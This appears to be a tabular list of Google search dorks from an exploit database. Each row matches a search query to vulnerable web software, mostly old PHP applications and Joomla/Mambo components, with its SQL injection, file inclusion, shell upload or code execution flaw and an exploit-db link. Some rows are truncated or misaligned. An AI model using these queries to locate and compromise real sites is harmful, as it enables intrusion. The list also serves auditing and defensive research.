Powered by Maian Greetings v2.1	Powered by Maian Greetings v2.1	Maian Greetings v2.1 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/11301
"Yogurt build"	"Yogurt build"	Yogurt 0.3 (XSS/SQL Injection) Multiple Remote Vulnerabilities - CVE: 2009-2033: http://www.exploit-db.com/exploits/8932
inurl:e107_plugins	inurl:e107_plugins	e107 Code Exec - CVE: 2010-2099: http://www.exploit-

		db.com/exploits/12715
"Scientific Image DataBase"	"Scientific Image DataBase"	Scientific Image DataBase 0.41 Blind SQL Injection - CVE: 2008-2834: http://www.exploit-db.com/exploits/5885
Powered by phpMyRealty	Powered by phpMyRealty	phpMyRealty 1.0.x (search.php type) Remote SQL Injection Vulnerability - CVE: 2007-6472: http://www.exploit-db.com/exploits/4750
"Powered by myUPB"	"Powered by myUPB"	myUPB v2.2.6 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/13957
inurl:"com_simpledownload"	inurl:"com_simpledownload"	Joomla Component simpledownload LFI Vulnerability - CVE: 2010-2122: http://www.exploit-db.com/exploits/12618
Powered by Flinx	Powered by Flinx	flinx 1.3 (category.php id) Remote SQL Injection Vulnerabilit - CVE: 2008-0468: http://www.exploit-db.com/exploits/4985
allinurl:"com_restaurante"	allinurl:"com_restaurante"	Joomla Component Restaurante 1.0 (id) SQL Injection Vulnerability - CVE: 2008-1465: http://www.exploit-db.com/exploits/5280
Powered by MyHobbySite 1.01	Powered by MyHobbySite 1.01	MyHobbySite 1.01 SQL Injection and Authentication Bypass Vulnerability: http://www.exploit-db.com/exploits/14977
inurl:index.php?myPlantId=	inurl:index.php?myPlantId=	Member ID The Fish Index PHP SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12850
"powered by real-estate-website"	"powered by real-estate-website"	Real Estate Web Site 1.0 (SQL/XSS) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/5763
"Powered by [iSupport 1.8]"	"Powered by [iSupport 1.8]"	iSupport 1.8 XSS/LFI - CVE: 2009-4434: http://www.exploit-db.com/exploits/10478
"This site is powered by CMS Made Simple	"This site is powered by CMS Made Simple version 1.2.2"	CMS Made Simple 1.2.2 (TinyMCE module) SQL Injection Vuln - CVE: 2007-6656: http://www.exploit-

version 1.2.2"		db.com/exploits/4810
infusions/manuals/manuals.php?manual=	infusions/manuals/manuals.php?manual=	PHP-Fusion Mod manuals (manual) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6681
allinurl:/modernbill/	allinurl:/modernbill/	Modernbill 1.6 (config.php) Remote File Include Vulnerability - CVE: 2006-4034: http://www.exploit-db.com/exploits/2127
Powered by EasySiteNetwork	Powered by EasySiteNetwork	Wallpaper Site 1.0.09 (category.php) Remote SQL Injection Vulnerability - CVE: 2007-6580: http://www.exploit-db.com/exploits/4770
inurl:"main_forum.php?cat="	inurl:"main_forum.php?cat="	GeN3 forum V1.3 SQL Injection Vulnerability - CVE: 2009-4263: http://www.exploit-db.com/exploits/10299
intitle:"Powered by Open Bulletin Board"	intitle:"Powered by Open Bulletin Board"	Open Bulletin Board Multiple Blind Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11336
Powered by Fantastic News v2.1.4	Powered by Fantastic News v2.1.4	Fantastic News 2.1.4 Multiple Remote File Include Vulnerabilities: http://www.exploit-db.com/exploits/3027
"Powered by iScripts SocialWare"	"Powered by iScripts SocialWare"	iScripts SocialWare (id) Remote SQL Injection Vulnerbility - CVE: 2008-1772: http://www.exploit-db.com/exploits/5402
Powered By eLitius 1.0	Powered By eLitius 1.0	eLitius 1.0 Arbitrary Database Backup: http://www.exploit-db.com/exploits/8498
inurl:"com_artlinks"	inurl:"com_artlinks"	Joomla Artlinks Component 1.0b4 Remote Include Vulnerability - CVE: 2006-3949: http://www.exploit-db.com/exploits/2209
inurl:com_djclassifieds	inurl:com_djclassifieds	Joomla DJ-Classifieds Extension com_djclassifieds Upload Vulnerability: http://www.exploit-db.com/exploits/12479
intext:"Remository 3.25. is technology	intext:"Remository 3.25. is technology by Black Sheep	Mambo Remository Component 3.25 Remote Include Vulnerability - CVE:

by Black Sheep Research"	Research"	2006-4130: http://www.exploit-db.com/exploits/2172
inurl:ratelink.php?lnkid=	inurl:ratelink.php?lnkid=	Link Trader (ratelink.php lnkid) Remote SQL Injection Vulnerability - CVE: 2008-6102: http://www.exploit-db.com/exploits/6650
Powered by: deonixscripts.com	Powered by: deonixscripts.com	Web Template Management System 1.3 Remote SQL Injection - CVE: 2007-5233: http://www.exploit-db.com/exploits/4482
inurl:com_ybggal	inurl:com_ybggal	Joomla Component com_ybggal 1.0 (catid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13979
Powered By Power Editor	Powered By Power Editor	Power Editor 2.0 Remote File Disclosure / Edit Vulnerability - CVE: 2008-2116: http://www.exploit-db.com/exploits/5549
"Powered by: eSmile"	"Powered by: eSmile"	eSmile Script (index.php) SQL Injection Vulnerability - CVE: 2010-0764: http://www.exploit-db.com/exploits/11382
"advanced_search_results.php?gender="	"advanced_search_results.php?gender="	Vastal I-Tech Dating Zone (fage) SQL Injection Vulnerability - CVE: 2008-4461: http://www.exploit-db.com/exploits/6388
allinurl:"com_ahsshop"do=default	allinurl:"com_ahsshop"do=default	Mambo Component ahsShop 1.51 (vara) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5335
inurl:com_ice "catid"	inurl:com_ice "catid"	Joomla Component Ice Gallery 0.5b2 (catid) Blind SQL Injection Vuln - CVE: 2008-6852: http://www.exploit-db.com/exploits/7572
Powered by ExoPHPDesk v1.2 Final.	Powered by ExoPHPDesk v1.2 Final.	ExoPHPDesk 1.2.1 (faq.php) Remote SQL Injection Vulnerability - CVE: 2007-0676: http://www.exploit-db.com/exploits/3234
allinurl:spaw2/dialogs/	allinurl:spaw2/dialogs/	Spaw Editor v1.0 & 2.0 Remote File Upload: http://www.exploit-db.com/exploits/12672
Powered by	Powered by eLitius Version 1.0	eLitius 1.0 (banner-details.php id) SQL

eLitius Version 1.0		Injection Vulnerability - CVE: 2009-1506: http://www.exploit-db.com/exploits/8563
site:scartserver.com	site:scartserver.com	SCart 2.0 (page) Remote Code Execution - CVE: 2006-7012: http://www.exploit-db.com/exploits/1876
"realizacja eCreo.eu"	"realizacja eCreo.eu"	eCreo SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12713
inurl:index.php?title=gamepage	inurl:index.php?title=gamepage	PHP Gamepage SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12634
inurl:index.php?option=com_akobook	inurl:index.php?option=com_akobook	Joomla Component Akobook 2.3 (gbid) SQL Injection Vulnerability - CVE: 2009-2638: http://www.exploit-db.com/exploits/8911
inurl:"/CMS/page.php?p="	inurl:"/CMS/page.php?p="	Schweizer NISADA Communication CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10543
Powered by CMScout (c)2005 CMScout Group	Powered by CMScout (c)2005 CMScout Group	CMScout 2.06 SQL Injection/Local File Inclusion Vulnerabilities - CVE: 2008-6725: http://www.exploit-db.com/exploits/7625
Powered by: Maian Uploader v4.0	Powered by: Maian Uploader v4.0	Maian Uploader v4.0 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/11571
inurl:"com_virtuemart"	inurl:"com_virtuemart"	Joomla Component com_virtuemart SQL injection vulnerability (product_id): http://www.exploit-db.com/exploits/10407
"Powered by RW::Download v2.0.3 lite"	"Powered by RW::Download v2.0.3 lite"	RW::Download 2.0.3 lite (index.php dlid) Remote SQL Injection Vuln - CVE: 2007-4845: http://www.exploit-db.com/exploits/4371
index.php?option=com_swmenupro	index.php?option=com_swmenupro	Joomla/Mambo Component SWmenuFree 4.0 RFI Vulnerability - CVE: 2007-1699: http://www.exploit-db.com/exploits/3557
"Powered By OpenCart"	"Powered By OpenCart"	Opencart 1.4.9.1 Remote File Upload Vulnerability: http://www.exploit-

		db.com/exploits/15050
Powered by eclime.com	Powered by eclime.com	eclime v1.1 ByPass / Create and Download Backup Vulnerability: http://www.exploit-db.com/exploits/12279
inurl:"article.download.php"	inurl:"article.download.php"	Star Articles 6.0 Remote Blind SQL Injection Vulnerability - CVE: 2008-7075: http://www.exploit-db.com/exploits/7240
inurl:"com_mojo"	inurl:"com_mojo"	Joomla MojoBlog Component v0.15 Multiple Remote File Include Vulnerabilities - CVE: 2009-4789: http://www.exploit-db.com/exploits/10273
inurl:"article.download.php"	inurl:"article.download.php"	Star Articles 6.0 Remote Blind SQL Injection - CVE: 2008-7075: http://www.exploit-db.com/exploits/7243
"Powered by LightBlog" - Powered by LightBlog	"Powered by LightBlog" - Powered by LightBlog	LightBlog 9.5 cp_upload_image.php Remote File Upload Vulnerability - CVE: 2008-0632: http://www.exploit-db.com/exploits/5033
"Powered by photokorn"	"Powered by photokorn"	photokron 1.7 (update script) Remote Database Disclosure - CVE: 2008-0297: http://www.exploit-db.com/exploits/4897/
"Site designed and built by Powder Blue." inurl:index.php?id_page=	"Site designed and built by Powder Blue." inurl:index.php?id_page=	Powder Blue Design SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12671
"Powered by MetInfo 3.0"	"Powered by MetInfo 3.0"	MetInfo 3.0 PHP Code Injection Vulnerability: http://www.exploit-db.com/exploits/15361
"Powered by MetInfo 2.0"	"Powered by MetInfo 2.0"	MetInfo 2.0 PHP Code Injection Vulnerability: http://www.exploit-db.com/exploits/15360
intext:"Marketing Web Design - Posicionamiento en Buscadores"	intext:"Marketing Web Design - Posicionamiento en Buscadores"	Marketing Web Design Multiple Vulnerabilities: http://www.exploit-db.com/exploits/12788
pages.php?id=	pages.php?id= "Multi Vendor Mall"	Multi Vendor Mall (pages.php) SQL

"Multi Vendor Mall"		Injection Vulnerability: http://www.exploit-db.com/exploits/12748
allintext:"Home Member Search Chat Room Forum Help/Support privacy policy"	allintext:"Home Member Search Chat Room Forum Help/Support privacy policy"	eMeeting Online Dating Software 5.2 SQL Injection Vulnerabilities: CVE: 2007-3609: http://www.exploit-db.com/exploits/4154
Powered by Zylone IT	Powered by Zylone IT	Zylone IT Multiple Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14270
Powered by MetInfo 3.0	Powered by MetInfo 3.0	Metinfo v3.0 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/15496
Powered by Info Fisier.	Powered by Info Fisier.	Info Fisier 1.0 Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/10671
"Powered by WebText"	"Powered by WebText"	WebText 0.4.5.2 Remote Code Execution - CVE: 2006-6856: http://www.exploit-db.com/exploits/3036
Webdevelopment Tinx-IT	Webdevelopment Tinx-IT	WebVision 2.1 (news.php n) Remote SQL Injection: http://www.exploit-db.com/exploits/9193
"PHPGlossar Version 0.8"	"PHPGlossar Version 0.8"	PHPGlossar 0.8 (format_menue) Remote File Inclusion Vulnerabilities - CVE: 2007-2751: http://www.exploit-db.com/exploits/3941
com_ijoomla_rss	com_ijoomla_rss	Joomla Component com_ijoomla_rss Blind SQL Injection - CVE: 2009-2099: http://www.exploit-db.com/exploits/8959
inurl:"?pilih=forum"	inurl:"?pilih=forum"	AuraCMS [Forum Module] Remote SQL Injection Vulnerability - CVE: 2007-4171: http://www.exploit-db.com/exploits/4254
"Developed by Infoware Solutions"	"Developed by Infoware Solutions"	infoware SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12714
"Powered by: MyPHP Forum"	"Powered by: MyPHP Forum"	MyPHP Forum

Ayemsis Emlak Pro	Ayemsis Emlak Pro	Ayemsis Emlak Pro (acc.mdb) Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/7665
Powered by Guruscript.com	Powered by Guruscript.com	Freelancer Marketplace Script Upload Vulnerability: http://www.exploit-db.com/exploits/14390
allinurl:"index.php?mod=archives"	allinurl:"index.php?mod=archives"	KwsPHP Module Archives (id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5351
"index.php?option=com_qcontacts"	"index.php?option=com_qcontacts"	Joomla Component QContacts (com_qcontacts) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14350
"Powered By CrownWeb.net!" inurl:"page.cfm"	"Powered By CrownWeb.net!" inurl:"page.cfm"	crownweb (page.cfm) Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11299
Copyright @ 2007 Powered By Hot or Not Clone by Jnshosts.com Rate My Pic :: Home :: Advertise :: Contact us::	Copyright @ 2007 Powered By Hot or Not Clone by Jnshosts.com Rate My Pic :: Home :: Advertise :: Contact us::	Hot or Not Clone by Jnshosts.com Database Backup Dump Vulnerability - CVE: 2007-6603: http://www.exploit-db.com/exploits/4804
Powered by TextAds 2.08	Powered by TextAds 2.08	idevspot Text ads 2.08 sqli vulnerability - CVE: 2010-2319: http://www.exploit-db.com/exploits/13749
inurl:/com_chronocontact	inurl:/com_chronocontact	Joomla Component ChronoForms 2.3.5 RFI Vulnerabilities - CVE: 2008-0567: http://www.exploit-db.com/exploits/5020
inurl:"com_kochsuite"	inurl:"com_kochsuite"	Joomla Kochsuite Component 0.9.4 Remote File Include Vulnerability - CVE: 2006-4348: http://www.exploit-db.com/exploits/2215
inurl:"contentPage.php?id=" & inurl:"displayResource.php?id=" & ...	inurl:"contentPage.php?id=" OR inurl:"displayResource.php?id=" AND intext:"Website by Mile High Creative"	MileHigh Creative (SQL/XSS/HTML Injection) Multiple Vulnerabilities: http://www.exploit-db.com/exploits/12792
Come from home Script (Latest	Come from home Script (Latest Project) www.esmart-vision.com	Smart Vsion Script News (newsdetail) SQL Injection Vulnerability:

Project) www.esmart-vision.com		http://www.exploit-db.com/exploits/10977
inurl:com_jepoll	inurl:com_jepoll	Joomla Component com_jepoll (pollid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12781
inurl:option=articles artid	inurl:option=articles artid	Mambo Component Articles (artid) Blind SQL Injection: http://www.exploit-db.com/exploits/5935
inurl:"com_jembed"	inurl:"com_jembed"	com_jembed (catid) Blind SQL Injection - CVE: 2010-1073: http://www.exploit-db.com/exploits/11026
"powered by Gradman"	"powered by Gradman"	Gradman 0.1.3 (agregar_info.php) Local File Inclusion - CVE: 2008-0361: http://www.exploit-db.com/exploits/4926
inurl:com_bfsurvey_profree	inurl:com_bfsurvey_profree	Joomla Component BF Survey Pro Free SQL Injection - CVE: 2009-4625: http://www.exploit-db.com/exploits/9601
inurl:option=com_cinema	inurl:option=com_cinema	Joomla component cinema SQL injection Vulnerability: http://www.exploit-db.com/exploits/13792
inurl:com_jejob	inurl:com_jejob	Joomla JE Job Component com_jejob LFI Vulnerability: http://www.exploit-db.com/exploits/14063
inurl:prog.php?dwkodu=	inurl:prog.php?dwkodu=	Kolifa.net Download Script 1.2 (id) SQL Injection Vulnerability - CVE: 2008-4054: http://www.exploit-db.com/exploits/6310
"Designed and powered by AWS Sports"	"Designed and powered by AWS Sports"	Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14645
"powered by zomplog"	"powered by zomplog"	Zomplog
"Powered by WebStudio"	Joomla Component com_eportfolio Upload Vulnerability	WebStudio CMS (index.php pageid) Blind SQL Injection Vulnerability -

		CVE: 2008-5336: http://www.exploit-db.com/exploits/7216
inurl:com_eportfolio	inurl:com_eportfolio	Joomla Component com_eportfolio Upload Vulnerability: http://www.exploit-db.com/exploits/13951
intext:"Parlic Design" inurl:id	intext:"Parlic Design" inurl:id	parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities: http://www.exploit-db.com/exploits/12767
[Powered by SkaDate dating]	[Powered by SkaDate dating]	SkaDate Dating (RFI/LFI/XSS) Multiple Remote Vulnerabilities - CVE: 2009-4700: http://www.exploit-db.com/exploits/9260
inurl:com_jotloader	inurl:com_jotloader	Joomla Component jotloader 1.2.1.a Blind SQL injection - CVE: 2008-2564: http://www.exploit-db.com/exploits/5737
"Site designed and built Powered by GlobalWebTek."	"Site designed and built Powered by GlobalWebTek."	GlobalWebTek Design SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12761
inurl:/wp-content/plugins/fgallery/	inurl:/wp-content/plugins/fgallery/	Wordpress plugin fGallery 2.4.1 fimrss.php SQL Injection Vulnerability - CVE: 2008-0491: http://www.exploit-db.com/exploits/4993
Powered by Guruscript.com	Powered by Guruscript.com	Freelancers Marketplace Script Persistent XSS Vulnerability: http://www.exploit-db.com/exploits/14389
"powered by jshop"	"powered by jshop"	JShop 1.x - 2.x (page.php xPage) Local File Inclusion Vulnerability - CVE: 2008-1624: http://www.exploit-db.com/exploits/5325
"Powered by TS Special Edition"	"Powered by TS Special Edition"	TS Special Edition v.7.0 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/12645
inurl:/jobsearchengine/	inurl:/jobsearchengine/	i-netsolution Job Search Engine SQL Injection Vulnerability - CVE: 2010-2611: http://www.exploit-db.com/exploits/14079
inurl:"com_jgen"	inurl:"com_jgen"	Joomla Component (com_jgen) SQL Injection Vulnerability - CVE: 2010-

		3422: http://www.exploit-db.com/exploits/14998
inurl:inc_webblog manager.asp	inurl:inc_webblogmanager.asp	DMXReady Blog Manager
Powered by eLitius Version 1.0	Powered by eLitius Version 1.0	eLitius 1.0 (manage-admin.php) Add Admin/Change Password: http://www.exploit-db.com/exploits/8459
inurl:com_n-forms	inurl:com_n-forms	Joomla Component n-forms 1.01 Blind SQL Injection: http://www.exploit-db.com/exploits/6055
inurl:index.php?option=com_races "raceId"	inurl:index.php?option=com_races "raceId"	Joomla Component com_races Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11710
"powered by gelato cms"	"powered by gelato cms"	Gelato (index.php post) Remote SQL Injectio - CVE: 2007-4918: http://www.exploit-db.com/exploits/4410
inurl:"cont_form.php?cf_id="	inurl:"cont_form.php?cf_id="	WebDM CMS SQL Injection Vulnerability - CVE: 2010-2689: http://www.exploit-db.com/exploits/14123
allinurl:links.php?t=search	allinurl:links.php?t=search	phpBB Links MOD 1.2.2 Remote SQL Injection - CVE: 2007-4653: http://www.exploit-db.com/exploits/4346
inurl:"com_dateconverter"	inurl:"com_dateconverter"	Joomla Component com_dateconverter 0.1 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14154
inurl:"com_simplefaq"	inurl:"com_simplefaq"	Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability - CVE: 2010-0632CVE: 2010-0632: http://www.exploit-db.com/exploits/11294
inurl:com_jb2	inurl:com_jb2	Joomla Component JooBlog 0.1.1 Blind SQL Injection - CVE: 2008-2630: http://www.exploit-db.com/exploits/5734
inurl:"com_dms"	inurl:"com_dms"	Joomla Component com_dms SQL Injection Vulnerability - CVE: 2010-

		0800: http://www.exploit-db.com/exploits/11289
"powered by: profitCode"	"powered by: profitCode"	PayProCart 1146078425 Multiple Remote File Include Vulnerabilities - CVE: 2006-4672: http://www.exploit-db.com/exploits/2316
inurl:/phpplanner/userinfo.php?userid=	inurl:/phpplanner/userinfo.php?userid=	phpplanner XSS / SQL Vulnerability: http://www.exploit-db.com/exploits/13847
"/nuke/htmltonuke.php" - "htmltonuke.php"	"/nuke/htmltonuke.php" - "htmltonuke.php"	PHP-Nuke Module htmltonuke 2.0alpha (htmltonuke.php) RFI Vuln: http://www.exploit-db.com/exploits/3524
Powered by UGiA PHP UPLOADER V0.2	Powered by UGiA PHP UPLOADER V0.2	UGiA PHP UPLOADER V0.2 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/11261
Powered by iBoutique v4.0	Powered by iBoutique v4.0	iBoutique 4.0 (cat) Remote SQL Injection Vulnerability - CVE: 2008-4354: http://www.exploit-db.com/exploits/6444
"Powered by ClanAdmin Tools v1.4.2"	"Powered by ClanAdmin Tools v1.4.2"	ClanWeb 1.4.2 Remote Change Password / Add Admin: http://www.exploit-db.com/exploits/8717
"index.php?option=com_expose"	"index.php?option=com_expose"	Joomla Component Expose RC35 Remote File Upload Vulnerability - CVE: 2007-3932: http://www.exploit-db.com/exploits/4194
inurl:yvcomment	inurl:yvcomment	Joomla Component yvcomment 1.16 Blind SQL Injection - CVE: 2008-2692: http://www.exploit-db.com/exploits/5755
Powered by osCommerce | Customized by EZ-Oscommerce	Powered by osCommerce | Customized by EZ-Oscommerce	EZ-Oscommerce 3.1 Remote File Upload: http://www.exploit-db.com/exploits/14415
"kims Q - Administrator Login Mode"	"kims Q - Administrator Login Mode"	KimsQ 040109 Multiple Remote File Include Vulnerability: http://www.exploit-db.com/exploits/11960
inurl:"coursepage.	inurl:"coursepage.php?id="	Aim Web Design Multiple

php?id=" intext:"Web Site design by : Aim Web Design Cheshire"	intext:"Web Site design by : Aim Web Design Cheshire"	Vulnerabilities: http://www.exploit-db.com/exploits/12791
Powered by One-News	Powered by One-News	OneNews Beta 2 (XSS/HI/SQL) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/6292
"Powered by PHP Director"	"Powered by PHP Director"	PHPDirector
"Webdesign Cosmos Solutions"	"Webdesign Cosmos Solutions"	Cosmos Solutions cms SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12793
inurl:"com_hestar"	inurl:"com_hestar"	Mambo Component com_hestar Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/9609
"Powered by NovaBoard v1.0.0"	"Powered by NovaBoard v1.0.0"	NovaBoard 1.0.0 Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/8063
inurl:es_offer.php?files_dir=	inurl:es_offer.php?files_dir=	Weblogicnet (files_dir) Multiple Remote File Inclusion Vulnerabilities - CVE: 2007-4715: http://www.exploit-db.com/exploits/4352
inurl:index.php?option=com_joomlaconnect_be	inurl:index.php?option=com_joomlaconnect_be	Joomla Component com_joomlaconnect_be Blind Injection Vulnerability: http://www.exploit-db.com/exploits/11578
"Powered by TinyPHPForum v3.61"	"Powered by TinyPHPForum v3.61"	TinyPHPForum 3.61 File Disclosure / Code Execution Vulnerabilities: http://www.exploit-db.com/exploits/8342
intitle:"CCMS v3.1 Demo PW"	intitle:"CCMS v3.1 Demo PW"	CCMS 3.1 Demo Remote SQL Injection - CVE: 2007-6658: http://www.exploit-db.com/exploits/4809
"powered by mcGalleryPRO"	"powered by mcGalleryPRO"	mcGalleryPRO 2006 (path_to_folder) Remote Include Vulnerability - CVE: 2006-4720: http://www.exploit-db.com/exploits/2342
Powered by	Powered by Dayfox Designs This is	Dayfox Blog 4 Multiple Local File

Dayfox Designs This is a port of WordPress	a port of WordPress	Inclusion Vulnerabilities - CVE: 2008-3564: http://www.exploit-db.com/exploits/6203
"Powered By EgyPlus"	"Powered By EgyPlus"	EgyPlus 7ml 1.0.1 (Auth Bypass) SQL Injection Vulnerability - CVE: 2009-2167: http://www.exploit-db.com/exploits/8865
inurl:com_seminar	inurl:com_seminar	Joomla Component Seminar 1.28 (id) Blind SQL Injection - CVE: 2009-4200: http://www.exploit-db.com/exploits/8867
allintext:"Powered By Buddy Zone"	allintext:"Powered By Buddy Zone"	Buddy Zone 1.5 Multiple SQL Injection Vulnerabilities - CVE: 2007-3526: http://www.exploit-db.com/exploits/4128
inurl:index.php?option=com_ice	inurl:index.php?option=com_ice	Joomla Component com_ice Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11544
Powered by LiteCommerce	Powered by LiteCommerce	litecommerce 2004 (category_id) Remote SQL Injection Vulnerability - CVE: 2005-1032: http://www.exploit-db.com/exploits/4300
"Web Group Communication Center"	"Web Group Communication Center"	Web Group Communication Center (WGCC) 1.0.3 SQL Injection Vuln - CVE: 2008-2445: http://www.exploit-db.com/exploits/5606
inurl:com_xewebtv	inurl:com_xewebtv	Joomla Component Xe webtv (id) Blind SQL Injection - CVE: 2008-5200: http://www.exploit-db.com/exploits/5966
inurl:index.php?option=com_paxgallery	inurl:index.php?option=com_paxgallery	Joomla Component com_paxgallery Blind Injection Vulnerability: http://www.exploit-db.com/exploits/11595
"Site designed and built by ProWeb Associates."	"Site designed and built by ProWeb Associates."	ProWeb Design SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12730
Powered by iScripts SocialWare	Powered by iScripts SocialWare	Upload Vulnerability and XSS in socialware V2.2: http://www.exploit-db.com/exploits/12448
"(C) This site is	"(C) This site is NITROpowered!"	NITRO Web Gallery SQL Injection

NITROpowered!"		Vulnerability - CVE: 2010-2141: http://www.exploit-db.com/exploits/12735
"phpQuestionnaire v3"	"phpQuestionnaire v3"	phpQuestionnaire 3.12 (phpQRootDir) Remote File Include Vulnerability - CVE: 2006-4966: http://www.exploit-db.com/exploits/2410
"generated by Exhibit Engine 1.5 RC 4"	"generated by Exhibit Engine 1.5 RC 4"	Exhibit Engine 1.5 RC 4 (photo_comment.php) File Include - CVE: 2006-5292: http://www.exploit-db.com/exploits/2509
powered by connectix boards	powered by connectix boards	Connectix Boards 0.8.2 template_path Remote File Inclusion - CVE: 2008-0502: http://www.exploit-db.com/exploits/5012
inurl:com_ezstore	inurl:com_ezstore	Joomla Component EZ Store Remote Blind SQL Injection - CVE: 2008-3586: http://www.exploit-db.com/exploits/6199
"FrontAccounting"	"FrontAccounting"	FrontAccounting 1.13 Remote File Inclusion Vulnerabilities - CVE: 2007-5117: http://www.exploit-db.com/exploits/4456
inurl:"option=com_elite_experts"	inurl:"option=com_elite_experts"	Joomla Component (com_elite_experts) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15100
inurl:"com_tupinambis"	inurl:"com_tupinambis"	Joomla/Mambo Tupinambis SQL Injection - CVE: 2009-3434: http://www.exploit-db.com/exploits/9832
"Powered By Basic CMS SweetRice"	"Powered By Basic CMS SweetRice"	SweetRice 0.6.4 (fckeditor) Remote File Upload: http://www.exploit-db.com/exploits/14184
"Powered by AMCMS3"	"Powered by AMCMS3"	Arcadem 2.01 Remote SQL Injection / RFI Vulnerabilties: http://www.exploit-db.com/exploits/4326
"Web Site Design by Red Cat Studios"	"Web Site Design by Red Cat Studios"	Realtor WebSite System E-Commerce SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12772
inurl:index.php?op	inurl:index.php?option=com_livetic	Joomla Component com_liveticker

tion=com_liveticker "viewticker"	ker "viewticker"	Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11604
allinurl:"com_cinema"	allinurl:"com_cinema"	Joomla Component Cinema 1.0 Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5300
"Tanyakan Pada Rumput Yang Bergoyang"	"Tanyakan Pada Rumput Yang Bergoyang"	Autonomous LAN party 0.98.3 Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/9460
"Powered by Clipshare"	"Powered by Clipshare"	ClipShare 2.6 Remote User Password Change - CVE: 2008-7188: http://www.exploit-db.com/exploits/4837
"Powered by PHPizabi v0.848b C1 HFP1"	"Powered by PHPizabi v0.848b C1 HFP1"	PHPizabi 0.848b C1 HFP1 Remote File Upload Vulnerability - CVE: 2008-0805: http://www.exploit-db.com/exploits/5136
inurl:com_jejob	inurl:com_jejob	Joomla Component com_jejob 1.0 (catid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12782
"Devana is an open source project !"	"Devana is an open source project !"	Devana SQL Injection vulnerability - CVE: 2010-2673: http://www.exploit-db.com/exploits/11922
inurl:"com_jpodium"	inurl:"com_jpodium"	Joomla JPodium Component (com_jpodium) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14232
intext:"Powered by: Virtual War v1.5.0"	intext:"Powered by: Virtual War v1.5.0"	VWar 1.50 R14 (online.php) Remote SQL Injection Vulnerability - CVE: 2006-4142: http://www.exploit-db.com/exploits/2170
inurl:index.php/option?com_flexicontent	inurl:index.php/option?com_flexicontent	Joomla Component com_flexicontent Local File Vulnerability: http://www.exploit-db.com/exploits/12185
inurl:option=com_agenda	inurl:option=com_agenda	Joomla Component com_agenda 1.0.1 (id) SQL Injection Vulnerability - CVE: 2010-1716: http://www.exploit-db.com/exploits/12132

inurl:"index.php?css=mid=art="	inurl:"index.php?css=mid=art="	EasyWay CMS (index.php mid) Remote SQL Injection - CVE: 2008-2555: http://www.exploit-db.com/exploits/5706
"Powered By Webcards"	"Powered By Webcards"	WebCards 1.3 Remote SQL Injection Vulnerability - CVE: 2008-4878: http://www.exploit-db.com/exploits/6869
Powered by Bug Software intext:Your Cart Contains	Powered by Bug Software intext:Your Cart Contains	BugMall Shopping Cart 2.5 (SQL/XSS) Multiple Remote Vulnerabilities - CVE: 2007-3448: http://www.exploit-db.com/exploits/4103
Winn ASP Guestbook from Winn.ws	Winn ASP Guestbook from Winn.ws	Winn ASP Guestbook 1.01b Remote Database Disclosure - CVE: 2009-4760: http://www.exploit-db.com/exploits/8596
inurl:option=com_n-forms form_id	inurl:option=com_n-forms form_id	Mambo Component n-form (form_id) Blind SQL Injection: http://www.exploit-db.com/exploits/7064
intext:"English for dummies"	intext:"English for dummies"	Mobilelib Gold v3 Local File Disclosure Vulnerability - CVE: 2009-3823: http://www.exploit-db.com/exploits/9144
inurl:"com_lyftenbloggie" / "Powered by LyftenBloggie"	inurl:"com_lyftenbloggie" / "Powered by LyftenBloggie"	Joomla Component com_lyftenbloggie 1.04 Remote SQL Injection Vulnerability - CVE: 2009-4104: http://www.exploit-db.com/exploits/10238
"Powered by GGCMS"	"Powered by GGCMS"	GGCMS 1.1.0 RC1 Remote Code Execution - CVE: 2007-0804: http://www.exploit-db.com/exploits/3271
inurl:index.php?menu=showcat	inurl:index.php?menu=showcat	ACG-ScriptShop (cid) Remote SQL Injection Vulnerability - CVE: 2008-4144: http://www.exploit-db.com/exploits/6364
Powered by minb	Powered by minb	minb 0.1.0 Remote Code Execution - CVE: 2008-7005: http://www.exploit-db.com/exploits/6432
"Powered by phpCC Beta 4.2"	"Powered by phpCC Beta 4.2"	phpCC 4.2 beta (base_dir) Remote File Inclusion Vulnerability - CVE: 2006-

		4073: http://www.exploit-db.com/exploits/2134
